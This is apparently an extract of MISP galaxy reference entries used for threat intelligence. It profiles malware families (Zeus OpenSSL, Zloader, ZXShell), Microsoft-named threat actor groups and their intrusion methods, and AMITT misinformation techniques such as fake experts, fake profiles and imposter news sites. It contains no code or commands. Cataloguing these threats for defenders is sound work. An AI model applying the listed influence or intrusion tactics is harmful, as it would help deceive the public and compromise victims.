The tag is: *misp-galaxy:malpedia="Zeus OpenSSL"*

Zeus OpenSSL is also known as:

- XSphinx

## Zeus Sphinx

This family describes the vanilla Zeus-variant that includes TOR (and Polipo proxy). It has an almost 90% overlap with Zeus v2.0.8.9. Please note that IBM X-Force decided to call win.zloader/win.zeus\_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus\_openssl - the X to refer to IBM X-Force.

Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)

Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)

## Zloader

This family describes the (initially small) loader, which downloads Zeus OpenSSL.

In June 2016, a new loader was dubbed DEloader by Fortinet. It has some functions borrowed from Zeus 2.0.8.9 (e.g. the versioning, nrv2b, binstorage-labels), but more importantly, it downloaded a Zeus-like banking trojan (→ Zeus OpenSSL). Furthermore, the loader shared its versioning with the Zeus OpenSSL it downloaded. The initial samples from May 2016 were small (17920 bytes). At some point, visualEncrypt/Decrypt was added, e.g. in v1.11.0.0 (September 2016) with size 27648 bytes. In January 2017 with v1.15.0.0, obfuscation was added, which blew the size up to roughly 80k, and the loader became known as Zloader aka Terdot. These changes may be related to the Moskalvzapoe Distribution Network, which started the distribution of it at the same time.

Please note that IBM X-Force decided to call win.zloader/win.zeus\_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus\_openssl - the X to refer to IBM X-Force.

The tag is: *misp-galaxy:malpedia="Zloader"*

Zloader is also known as:

- DELoader
- Terdot

# ZXShell

According to FireEye, ZXSHELL is a backdoor that can be downloaded from the internet, particularly Chinese hacker websites. The backdoor can launch port scans, run a keylogger, capture screenshots, set up an HTTP or SOCKS proxy, launch a reverse command shell, cause SYN floods, and transfer/delete/run files. The publicly available version of the tool provides a graphical user interface that malicious actors can use to interact with victim backdoors. Simplified Chinese is the language used for the bundled ZXSHELL documentation.

## Microsoft Activity Group actor

Activity groups as described by Microsoft.

Microsoft Activity Group actor is a cluster galaxy available in JSON format at [this location](#). The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

### authors

Various

## PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

## NEODYMIUM

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor's characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

## TERBIUM

Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.

The tag is: *misp-galaxy:microsoft-activity-group="TERBIUM"*

TERBIUM has relationships with:

- similar: *misp-galaxy:threat-actor="TERBIUM"* with *estimative-language:likelihood-probability="likely"*

Table 2820. Table References

# STRONTIUM

STRONTIUM has been active since at least 2007. Whereas most modern untargeted malware is ultimately profit-oriented, STRONTIUM mainly seeks sensitive information. Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries. Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia. STRONTIUM is an activity group that usually targets government agencies, diplomatic institutions, and military organizations, as well as affiliated private sector organizations such as defense contractors and public policy research institutes. Microsoft has attributed more 0-day exploits to STRONTIUM than any other tracked group in 2016. STRONTIUM frequently uses compromised e-mail accounts from one victim to send malicious e-mails to a second victim and will persistently pursue specific targets for months until they are successful in compromising the victims' computer.

The tag is: *misp-galaxy:microsoft-activity-group="STRONTIUM"*

STRONTIUM is also known as:

- APT 28
- APT28
- Pawn Storm
- Fancy Bear
- Sednit
- TsarTeam
- TG-4127
- Group-4127
- Sofacy
- Grey-Cloud

STRONTIUM has relationships with:

- similar: *misp-galaxy:mitre-intrusion-set="APT28 - G0007"* with *estimative-language:likelihood-probability="likely"*
- similar: *misp-galaxy:threat-actor="Sofacy"* with *estimative-language:likelihood-probability="likely"*

## PLATINUM

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group's persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: *misp-galaxy:microsoft-activity-group="PLATINUM"*

PLATINUM has relationships with:

- similar: *misp-galaxy:mitre-intrusion-set="PLATINUM - G0068"* with *estimative-language:likelihood-probability="likely"*
- similar: *misp-galaxy:threat-actor="PLATINUM"* with *estimative-language:likelihood-probability="likely"*

## BARIUM

Microsoft Threat Intelligence associates Winnti with multiple activity groups—collections of malware, supporting infrastructure, online personas, victimology, and other attack artifacts that the Microsoft intelligent security graph uses to categorize and attribute threat activity. Microsoft labels activity groups using code names derived from elements in the periodic table. In the case of this malware, the activity groups strongly associated with Winnti are BARIUM and LEAD. But even though they share the use of Winnti, the BARIUM and LEAD activity groups are involved in very different intrusion scenarios. BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms. Once BARIUM has established rapport, they spear-phish the victim using a variety of unsophisticated malware installation vectors, including malicious shortcut (.lnk) files with hidden payloads, compiled HTML help (.chm) files, or Microsoft Office documents containing macros or exploits. Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles, collaborative document editing sites, and blogs for C&C. Later stages of the intrusions rely upon Winnti for persistent access. The majority of victims recorded to date have been in electronic gaming, multimedia, and Internet content industries, although occasional intrusions against technology companies have occurred.

The tag is: *misp-galaxy:microsoft-activity-group="BARIUM"*

*Table 2824. Table References*

## LEAD

In contrast, LEAD has established a far greater reputation for industrial espionage. In the past few

years, LEAD's victims have included: Multinational, multi-industry companies involved in the manufacture of textiles, chemicals, and electronics Pharmaceutical companies A company in the chemical industry University faculty specializing in aeronautical engineering and research A company involved in the design and manufacture of motor vehicles A cybersecurity company focusing on protecting industrial control systems During these intrusions, LEAD's objective was to steal sensitive data, including research materials, process documents, and project plans. LEAD also steals code-signing certificates to sign its malware in subsequent attacks. In most cases, LEAD's attacks do not feature any advanced exploit techniques. The group also does not make special effort to cultivate victims prior to an attack. Instead, the group often simply emails a Winnti installer to potential victims, relying on basic social engineering tactics to convince recipients to run the attached malware. In some other cases, LEAD gains access to a target by brute-forcing remote access login credentials, performing SQL injection, or exploiting unpatched web servers, and then they copy the Winnti installer directly to compromised machines.

The tag is: `misp-galaxy:microsoft-activity-group="LEAD"`

## GALLIUM

Microsoft Threat Intelligence Center (MSTIC) is raising awareness of the ongoing activity by a group we call GALLIUM, targeting telecommunication providers. When Microsoft customers have been targeted by this activity, we notified them directly with the relevant information they need to protect themselves. By sharing the detailed methodology and indicators related to GALLIUM activity, we're encouraging the security community to implement active defenses to secure the broader ecosystem from these attacks. To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss. Once persistence is established in a network, GALLIUM uses common techniques and tools like Mimikatz to obtain credentials that allows for lateral movement across the target network. Within compromised networks, GALLIUM makes no attempt to obfuscate their intent and are known to use common versions of malware and publicly available toolkits with small modifications. The operators rely on low cost and easy to replace infrastructure that consists of dynamic-DNS domains and regularly reused hop points. This activity from GALLIUM has been identified predominantly through 2018 to mid-2019. GALLIUM is still active; however, activity levels have dropped when compared to what was previously observed.

The tag is: `misp-galaxy:microsoft-activity-group="GALLIUM"`

GALLIUM is also known as:

- Operation Soft Cell

GALLIUM has relationships with:

- similar: `misp-galaxy:threat-actor="Operation Soft Cell"` with `estimative-language:likelihood-probability="likely"`

Table 2828. Table References

<a href="https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/">https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/</a>

## PARINACOTA

One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive

group that frequently drops Wadhrama as payload. PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group's goals and payloads have shifted over time, influenced by the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware. The group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment. PARINACOTA's attacks typically brute force their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors. The group adopted the RDP brute force technique that the older ransomware called Samas (also known as SamSam) infamously used. Other malware families like GandCrab, MegaCortex, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.

The tag is: `misp-galaxy:microsoft-activity-group="PARINACOTA"`

PARINACOTA has relationships with:

- uses: `misp-galaxy:ransomware="Wadhrama"` with `estimative-language:likelihood-probability="likely"`

Table 2829. Table References

## GADOLINIUM

GADOLINIUM is a nation-state activity group that has been compromising targets for nearly a decade with a worldwide focus on the maritime and health industries. As with most threat groups, GADOLINIUM tracks the tools and techniques of security practitioners looking for new techniques they can use or modify to create new exploit methods. Historically, GADOLINIUM used custom-crafted malware families that analysts can identify and defend against. In response, over the last year GADOLINIUM has begun to modify portions of its toolchain to use open-source toolkits to obfuscate their activity and make it more difficult for analysts to track. Because cloud services frequently offer a free trial or one-time payment (PayGo) account offerings, malicious actors have found ways to take advantage of these legitimate business offerings. By establishing free or PayGo

accounts, they can use cloud-based technology to create a malicious infrastructure that can be established quickly then taken down before detection or given up at little cost.

The tag is: `misp-galaxy:microsoft-activity-group="GADOLINIUM"`

Table 2830. Table References

Links

## HAFNIUM

HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they've gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA. In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets' environments. HAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.

The tag is: `misp-galaxy:microsoft-activity-group="HAFNIUM"`

## Misinformation Pattern

AM!TT Technique.

Misinformation Pattern is a cluster galaxy available in JSON format at [this location](#). The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

### authors

`misinfosecproject`

## 5Ds (dismiss, distort, distract, dismay, divide)

Nimmo's "4Ds of propaganda": dismiss, distort, distract, dismay (MisinfosecWG added divide in 2019). Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific

misinformation content. But this is often not possible.

The tag is: *misp-galaxy:amitt-misinformation-pattern="5Ds (dismiss, distort, distract, dismay, divide)"*

Table 2832. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0001.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0001.md)

## Facilitate State Propaganda

Organize citizens around pro-state messaging. Paid or volunteer groups coordinated to push state propaganda (examples include 2016 Diba Facebook Expedition, coordinated to overcome China's Great Firewall to flood the Facebook pages of Taiwanese politicians and news agencies with a pro-PRC message).

The tag is: *misp-galaxy:amitt-misinformation-pattern="Facilitate State Propaganda"*

Table 2833. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0002.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0002.md)

## Leverage Existing Narratives

Use or adapt existing narrative themes, where narratives are the baseline stories of a target audience. Narratives form the bedrock of our worldviews. New information is understood through a process firmly grounded in this bedrock. If new information is not consistent with the prevailing narratives of an audience, it will be ignored. Effective campaigns will frame their misinformation in the context of these narratives. Highly effective campaigns will make extensive use of audience-appropriate archetypes and meta-narratives throughout their content creation and amplification practices. Examples include midwesterners are generous, Russia is under attack from outside.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Leverage Existing Narratives"*

Table 2834. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0003.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0003.md)

## Competing Narratives

Advance competing narratives connected to same issue ie: on one hand deny incident while at same time expresses dismiss. MH17 (example) "Russian Foreign Ministry again claimed that "absolutely groundless accusations are put forward against the Russian side, which are aimed at discrediting Russia in the eyes of the international community" (deny); "The Dutch MH17 investigation is biased, anti-Russian and factually inaccurate" (dismiss).

Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.

These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the "firehose of misinformation" approach.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Competing Narratives"*

<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0005.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0005.md</a>
---

## Create Master Narratives

The promotion of beneficial master narratives is perhaps the most effective method for achieving long-term strategic narrative dominance. From a "whole of society" perspective the promotion of the society's core master narratives should occupy a central strategic role. From a misinformation campaign / cognitive security perspective the tactics around master narratives center more precisely on the day-to-day promotion and reinforcement of this messaging. In other words, beneficial, high-coverage master narratives are a central strategic goal and their promotion constitutes an ongoing tactical struggle carried out at a whole-of-society level.

By way of example, major powers are promoting master narratives such as: \* "Huawei is determined to build trustworthy networks" \* "Russia is the victim of bullying by NATO powers" \* "USA is guided by its founding principles of liberty and egalitarianism"

Tactically, their promotion covers a broad spectrum of activities both on- and offline.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create Master Narratives"*

*Table 2837. Table References*

Links
-------

## Create fake Social Media Profiles / Pages / Groups

Create key social engineering assets needed to amplify content, manipulate algorithms, fool public and/or specific incident/campaign targets.

Computational propaganda depends substantially on false perceptions of credibility and acceptance. By creating fake users and groups with a variety of interests and commitments, attackers can ensure that their messages both come from trusted sources and appear more widely adopted than they actually are.

Examples: Ukraine elections (2019) circumvent Facebook's new safeguards by paying Ukrainian citizens to give a Russian agent access to their personal pages. EU Elections (2019) Avaaz reported more than 500 suspicious pages and groups to Facebook related to the three-month investigation of Facebook disinformation networks in Europe. Mueller report (2016) The IRA was able to reach up to 126 million Americans on Facebook via a mixture of fraudulent accounts, groups, and advertisements, the report says. Twitter accounts it created were portrayed as real American voices by major news outlets. It was even able to hold real-life rallies, mobilizing hundreds of people at a time in major cities like Philadelphia and Miami.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake Social Media Profiles / Pages / Groups"*

Table 2838. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0007.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0007.md)

## Create fake or imposter news sites

Modern computational propaganda makes use of a cadre of imposter news sites spreading globally. These sites, sometimes motivated by concerns other than propaganda—for instance, click-based revenue—often have some superficial markers of authenticity, such as naming and site-design. But many can be quickly exposed with reference to their ownership, reporting history and advertising details. A prominent case from the 2016 era was the *Denver Guardian*, which purported to be a local newspaper in Colorado and specialized in negative stories about Hillary Clinton.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake or imposter news sites"*

Table 2839. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0008.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0008.md)

## Create fake experts

Stories planted or promoted in computational propaganda operations often make use of experts fabricated from whole cloth, sometimes specifically for the story itself. For example, in the Jade Helm conspiracy theory promoted by SVR in 2015, a pair of experts—one of them naming himself a “Military Intelligence Analyst / Russian Regional CME” and the other a “Geopolitical Strategist, Journalist & Author”—pushed the story heavily on LinkedIn.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake experts"*

Table 2840. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0009.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0009.md</a>

## Cultivate useful idiots

Cultivate propagandists for a cause, the goals of which are not fully comprehended, and who are used cynically by the leaders of the cause. Independent actors use social media and specialised web sites to strategically reinforce and spread messages compatible with their own. Their networks are infiltrated and used by state media disinformation organisations to amplify the state’s own disinformation strategies against target populations. Many are traffickers in conspiracy theories or hoaxes, unified by a suspicion of Western governments and mainstream media. Their narratives, which appeal to leftists hostile to globalism and military intervention and nationalists against immigration, are frequently infiltrated and shaped by state-controlled trolls and altered news items from agencies such as RT and Sputnik. Also know as "useful idiots" or "unwitting agents".

The tag is: *misp-galaxy:amitt-misinformation-pattern="Cultivate useful idiots"*

Table 2841. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0010.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0010.md</a>

## Hijack legitimate account

Hack or take over legitimate accounts to distribute misinformation or damaging content. Examples include Syrian Electronic Army (2013) series of false tweets from a hijacked Associated Press Twitter account claiming that President Barack Obama had been injured in a series of explosions near the White House. The false report caused a temporary plunge of 143 points on the Dow Jones Industrial Average.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Hijack legitimate account"*

## Use concealment

Use anonymous social media profiles. Examples include page or group administrators, masked "whois" website directory data, no bylines connected to news article, no masthead connect to news websites.

Example is 2016 @TEN\_GOP profile where the actual Tennessee Republican Party tried unsuccessfully for months to get Twitter to shut it down, and 2019 Endless Mayfly is an Iran-aligned network of inauthentic personas and social media accounts that spreads falsehoods and amplifies narratives critical of Saudi Arabia, the United States, and Israel.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use concealment"*

## Create funding campaigns

Generate revenue through online funding campaigns. e.g. Gather data, advance credible persona via Gofundme; Patreon; or via fake website connecting via PayPal or Stripe. (Example 2016) #VaccinateUS Gofundme campaigns to pay for Targetted facebook ads (Larry Cook, targeting Washington State mothers, \$1,776 to boost posts over 9 months).

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create funding campaigns"*

## Create hashtag

Many incident-based campaigns will create a hashtag to promote their fabricated event (e.g. #ColumbianChemicals to promote a fake story about a chemical spill in Louisiana).

Creating a hashtag for an incident can have two important effects: 1. Create a perception of reality around an event. Certainly only "real" events would be discussed in a hashtag. After all, the event

has a name! 2. Publicize the story more widely through trending lists and search behavior

Asset needed to direct/control/manage "conversation" connected to launching new incident/campaign with new hashtag for applicable social media sites ie: Twitter, LinkedIn)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create hashtag"*

*Table 2846. Table References*

<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0015.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0015.md</a>

## Clickbait

Create attention grabbing headlines (outrage, doubt, humor) required to drive traffic & engagement. (example 2016) "Pope Francis shocks world, endorses Donald Trump for president." (example 2016) "FBI director received millions from Clinton Foundation, his brother's law firm does Clinton's taxes". This is a key asset

The tag is: *misp-galaxy:amitt-misinformation-pattern="Clickbait"*

*Table 2847. Table References*

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0016.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0016.md</a>

## Promote online funding

Drive traffic/engagement to funding campaign sites; helps provide measurable metrics to assess conversion rates

The tag is: *misp-galaxy:amitt-misinformation-pattern="Promote online funding"*

*Table 2848. Table References*

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0017.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0017.md</a>

## Paid targeted ads

Create or fund advertisements targeted at specific populations

The tag is: *misp-galaxy:amitt-misinformation-pattern="Paid targeted ads"*

*Table 2849. Table References*

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0018.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0018.md</a>

## Generate information pollution

Flood social channels; drive traffic/engagement to all assets; create aura/sense/perception of pervasiveness/consensus (for or against or both simultaneously) of an issue or topic. "Nothing is true, but everything is possible." Akin to astroturfing campaign.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Generate information pollution"*

*Table 2850. Table References*

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0019.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0019.md</a>

## Trial content

Iteratively test incident performance (messages, content etc), e.g. A/B test headline/content engagement metrics; website and/or funding campaign conversion rates

The tag is: *misp-galaxy:amitt-misinformation-pattern="Trial content"*

*Table 2851. Table References*

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0020.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0020.md</a>

## Memes

Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins' original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Memes"*

*Table 2852. Table References*

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0021.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0021.md</a>

## Conspiracy narratives

"Conspiracy narratives appeal to the human desire for explanatory order, by invoking the participation of powerful (often sinister) actors in pursuit of their own political goals. These narratives are especially appealing when an audience is low-information, marginalized or otherwise inclined to reject the prevailing explanation. Conspiracy narratives are an important component of the ""firehose of falsehoods"" model.

Example: QAnon: conspiracy theory is an explanation of an event or situation that invokes a conspiracy by sinister and powerful actors, often political in motivation, when other explanations are more probable "

The tag is: *misp-galaxy:amitt-misinformation-pattern="Conspiracy narratives"*

*Table 2853. Table References*

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0022.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0022.md)

## Distort facts

Change, twist, or exaggerate existing facts to construct a narrative that differs from reality. Examples: images and ideas can be distorted by being placed in an improper content

The tag is: *misp-galaxy:amitt-misinformation-pattern="Distort facts"*

*Table 2854. Table References*

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0023.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0023.md)

## Create fake videos and images

Create fake videos and/or images by manipulating existing content or generating new content (e.g. deepfakes). Examples include Pelosi video (making her appear drunk) and photoshopped shark on flooded streets of Houston TX.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake videos and images"*

*Table 2855. Table References*

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0024.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0024.md)

## Leak altered documents

Obtain documents (eg by theft or leak), then alter and release, possibly among factual documents/sources.

Example (2019) DFRLab report "Secondary Infektion" highlights incident with key asset being a forged "letter" created by the operation to provide ammunition for far-right forces in Europe ahead of the election.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Leak altered documents"*

<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0025.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0025.md</a>
---

## Create fake research

Create fake academic research. Example: fake social science research is often aimed at hot-button social issues such as gender, race and sexuality. Fake science research can target Climate Science debate or pseudoscience like anti-vaxx

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake research"*

*Table 2857. Table References*

<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0026.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0026.md</a>
---

## Adapt existing narratives

Adapting existing narratives to current operational goals is the tactical sweet-spot for an effective misinformation campaign. Leveraging existing narratives is not only more effective, it requires substantially less resourcing, as the promotion of new master narratives operates on a much larger scale, both time and scope. Fluid, dynamic & often interchangeable key master narratives can be ("The morally corrupt West") adapted to divisive (LGBT proganda) or to distort (individuals working as CIA operatives). For Western audiences, different but equally powerful framings are available, such as "USA has a fraught history in race relations, espically in crimincal justice areas."

The tag is: *misp-galaxy:amitt-misinformation-pattern="Adapt existing narratives"*

*Table 2858. Table References*

Links
-------

<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0027.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0027.md</a>
---

## Create competing narratives

"Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.

Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.

These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the ""firehose of misinformation""

approach."

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create competing narratives"*

*Table 2859. Table References*

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0028.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0028.md)

## Manipulate online polls

Create fake online polls, or manipulate existing online polls. Examples: flooding FCC with comments; creating fake engagement metrics of Twitter/Facebook polls to manipulate perception of given issue. Data gathering tactic to target those who engage, and potentially their networks of friends/followers as well

The tag is: *misp-galaxy:amitt-misinformation-pattern="Manipulate online polls"*

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0042.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0042.md)

## Use SMS/ WhatsApp/ Chat apps

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use SMS/ WhatsApp/ Chat apps"*

Table 2874. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0043.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0043.md)

## Seed distortions

The tag is: *misp-galaxy:amitt-misinformation-pattern="Seed distortions"*

Table 2875. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0044.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0044.md)

## Use fake experts

Use the fake experts that were set up in T0009. Pseudo-experts are disposable assets that often appear once and then disappear. Give "credibility" to misinformation. Take advantage of credential bias

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use fake experts"*

Table 2876. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0045.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0045.md)

## Search Engine Optimization

Manipulate content engagement metrics (ie: Reddit & Twitter) to influence/impact news search results (e.g. Google), also elevates RT & Sputnik headline into Google news alert emails. aka "Black-hat SEO"

The tag is: *misp-galaxy:amitt-misinformation-pattern="Search Engine Optimization"*

Table 2877. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0046.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0046.md</a>

## Muzzle social media as a political force

Use political influence or the power of state to stop critical social media comments. Government requested/driven content take downs (see Google Transparency reports. (Example 20190 Singapore Protection from Online Falsehoods and Manipulation Bill would make it illegal to spread "false statements of fact" in Singapore, where that information is "prejudicial" to Singapore's security or "public tranquility." Or India/New Delhi has cut off services to Facebook and Twitter in Kashmir 28 times in the past five years, and in 2016, access was blocked for five months — on the grounds that these platforms were being used for anti-social and "anti-national" purposes.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Muzzle social media as a political force"*

Table 2878. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0047.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0047.md</a>

## Cow online opinion leaders

Intimidate, coerce, threaten critics/dissidents/journalists via trolling, doxing. Phillipines (example) Maria Ressa and Rappler journalists targeted Duterte regime, lawsuits, trollings, banned from the presidential palace where press briefings take place. 2017 Bot attack on five ProPublica Journalists.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Cow online opinion leaders"*

Table 2879. Table References

Links
